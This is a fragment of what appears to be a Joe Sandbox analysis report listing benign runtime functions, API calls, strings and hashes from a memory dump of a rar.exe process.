Instruction ID: 8f73cdcadd34d404879ecb24af9fa0af5b8d23f90818bdd89ab98b3fd35e3060
Opcode Fuzzy Hash: bb35a308c9672c43725447ff3ecbbf89940673d79f69deb8a20185b15c97b697
Instruction Fuzzy Hash: 96113331E0CA42C6F664A710D5952BCE261EB54760FA04438C61917685FF2CBC4D8A24

Function 00007FF71D315630 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF71D30F3FC,?,?,?,00007FF71D31143D), ref: 00007FF71D31563A
SetLastError.KERNEL32(?,?,?,00007FF71D30F3FC,?,?,?,00007FF71D31143D), ref: 00007FF71D3156A2
SetLastError.KERNEL32(?,?,?,00007FF71D30F3FC,?,?,?,00007FF71D31143D), ref: 00007FF71D3156B8
abort.LIBCMT ref: 00007FF71D3156BE

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction ID: 3250902fa097ebd14982b7e2a42884fae8cf0e323dfc7f35271e3029fe757659
Opcode Fuzzy Hash: bc6db4589d12c74431344df6db0fda3963e5f3476a1a0d6bb2a5a407689805e6
Instruction Fuzzy Hash: 9F011730F0DE03C2FA98B7719655139D2A24F48BA0F98553CD91E06BD6FE6DB84D4E60

Function 00007FF71D2FB850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2FBBFC: ResetEvent.KERNEL32 ref: 00007FF71D2FBC15
Part of subcall function 00007FF71D2FBBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF71D2FBC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF71D2FB887
CloseHandle.KERNEL32 ref: 00007FF71D2FB8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF71D2FB8C0
CloseHandle.KERNEL32 ref: 00007FF71D2FB8CE

Part of subcall function 00007FF71D2FB974: WaitForSingleObject.KERNEL32 ref: 00007FF71D2FB97B
Part of subcall function 00007FF71D2FB974: GetLastError.KERNEL32 ref: 00007FF71D2FB986

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: 64072edfa29a39fc01b2e60a0dd9e5487528558753a3c87208263efe03b839ce
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction Fuzzy Hash: 5011A032A08E90D6E214AB20E5446A9E331FB89BA0F400231DBAD136A5DF39E46CCB00

Function 00007FF71D3158A4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D315908

Strings

gfffffff, xrefs: 00007FF71D315B96

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction ID: 44bb396ce3ad0900293e88e4654be76fd2fced35b886cceb3e34841bb254c550
Opcode Fuzzy Hash: 21452402729b0f04a42bea99b9d48ecd324c6ba459a3d9785fd7d0df1cc262de
Instruction Fuzzy Hash: 87912673B0DB8786EB119F299180368EB65AB25BE0F488135CA8D073D5EA3CF119CB11

Function 00007FF71D2ECFCF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2FB6D0: Sleep.KERNEL32(?,?,?,?,00007FF71D2CCBED,?,00000000,?,00007FF71D2F7A8C), ref: 00007FF71D2FB730

new.LIBCMT ref: 00007FF71D2ECFD9

Strings

rev, xrefs: 00007FF71D2ED00F
rar, xrefs: 00007FF71D2ED074

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Sleep
String ID: rar$rev
API String ID: 3472027048-2145959568
Opcode ID: 577253b60d49c6aa0442356c4acb2227b4df70f545d38a99e4159d429305e638
Instruction ID: 5416f14a01bd0e0a474e5a48568c41950fabbba13d5ad5eadc99b241de5e716f
Opcode Fuzzy Hash: 577253b60d49c6aa0442356c4acb2227b4df70f545d38a99e4159d429305e638
Instruction Fuzzy Hash: 92A1B122A0CA5281EB24FB28C4542BDE365FF487A4FD54031DA6D5B6C6FE6CE548CB20

Function 00007FF71D30F7CC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D30F7FE
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D30FA3C

Strings

*, xrefs: 00007FF71D30F90C

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction ID: 5e61fe99aed2b958024ed534468a4a95276c9c6510a8e65aa93a173959f37844
Opcode Fuzzy Hash: 16a705be2b1e487b59333a8e93db6455a755c474a96de4fc0b7d69b7c81f417b
Instruction Fuzzy Hash: FA714F7390CA12C6E764AF29804517CFBA0FB45F6CFA4113ADA4A42294EF39D489CB65

Function 00007FF71D315CD4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D315D17

Strings

gfff, xrefs: 00007FF71D315E42
e+000, xrefs: 00007FF71D315DBF

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction ID: e673519144e54d64d686e1e6c46c4bcfc289408c3800b8d3ff5ef39e902de415
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: A9510C72B1CBC286E7259B359841369FB91E741BA0F4C9239C69C47BD5EF2CE4488B20

Function 00007FF71D2E4534 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,00000800,?,?,00000000,00007FF71D2D475B,?,00000000,?,?,00007FF71D2D4620,?,00000000,?), ref: 00007FF71D2E4633

Strings

\\?\, xrefs: 00007FF71D2E45B6, 00007FF71D2E4602, 00007FF71D2E4684, 00007FF71D2E46D3
UNC, xrefs: 00007FF71D2E4614

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction ID: 2cebc63cea386cb66dc18830dae62edcb5e4f40d8fb6cfbf92afe845af54cc30
Opcode Fuzzy Hash: da028c110e4e0ee969c3eaba738cc076e51dd9ec006f0672d54c2a85376dd233
Instruction Fuzzy Hash: FA419311E0CE8280E920BB51E5011FAE351AF497E4FC18631DD7E576D6FE2CE64ECA20

Function 00007FF71D313B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D313B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF71D30B066), ref: 00007FF71D313B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe, xrefs: 00007FF71D313B45

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe
API String ID: 3307058713-3210298981
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: ddd4190e7ac180633b27579221190852f30c5a95d705a27ee8b0ea6c284ff07a
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: F8416D36A0CE53C5EB54BF25A4400B8FBA4EB44BA4B954039E94E47B95FF3DE449CB20

Function 00007FF71D2F7C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF71D2F7471), ref: 00007FF71D2F7C96
wcsstr.LIBVCRUNTIME ref: 00007FF71D2F7CBC

Strings

System Volume Information\, xrefs: 00007FF71D2F7CB2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: 28f3dca1aabeb028de7fe71211a687d9c38cc641647050afececa9b38f1cd896
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: BA312321A1DE8185FF50BB21A1502FAE761AF45BE0FC44430DEAC07796EE3DE04A8B20

Function 00007FF71D2C4888 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2C48F8

Part of subcall function 00007FF71D2F49F4: LoadStringW.USER32 ref: 00007FF71D2F4A7B
Part of subcall function 00007FF71D2F49F4: LoadStringW.USER32 ref: 00007FF71D2F4A94

Part of subcall function 00007FF71D2C8444: fflush.LIBCMT ref: 00007FF71D2C8477

Strings

%d.%02d, xrefs: 00007FF71D2C48DE
[, xrefs: 00007FF71D2C48E5

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: LoadString$fflushswprintf
String ID: %d.%02d$[
API String ID: 1946543793-195111373
Opcode ID: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction ID: dd1c3341f034a5b4687cc6b8ee006cc1511896499905c5ff61d285712a21897d
Opcode Fuzzy Hash: f04d483f56175c8b40415d20487cbec804232b663c65daca34dce35784760712
Instruction Fuzzy Hash: 0D316D21A1DD8291EA60BB10E4153FAE350AF84764FC44539D69D0B6C6FF6CE949CF60

Function 00007FF71D2F3C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2F3CB0

Strings

@%s, xrefs: 00007FF71D2F3C94
$%s, xrefs: 00007FF71D2F3C9D

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: 8b64ef0ace3da674ab6fe3d35c1a79d980cd11bbfc86f588e7d3126ef7eabd32
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: F731BF72A0DE8295EA10AB19E4407EAA360FB447A4F800436EE5D17B59FF3DE50DCB20

Function 00007FF71D2EF474 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2EF4D2

Strings

fixed., xrefs: 00007FF71D2EF4B8
fixed%u., xrefs: 00007FF71D2EF4C6

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction ID: 2a6305fcf2607b0ee875e4c4de51381e045a65214c87b52dcfb15d654de1843f
Opcode Fuzzy Hash: fddd7528cb08c65f409e766db47ba8cea55e1086a780a4f54c28e47408ad2848
Instruction Fuzzy Hash: 7631A823A0CE8191E620AB15E4017EAE360FB557A0FD04236EA5D176DAEF3CD54ACF20

Function 00007FF71D2F49F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF71D2F4A7B
LoadStringW.USER32 ref: 00007FF71D2F4A94

Strings

Adding %-58s , xrefs: 00007FF71D2F4A16

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: LoadString
String ID: Adding %-58s
API String ID: 2948472770-2059140559
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: 0470aae481fdf52a849e309c9b961ec4a75e47343b57216f045859d54e6cb1ab
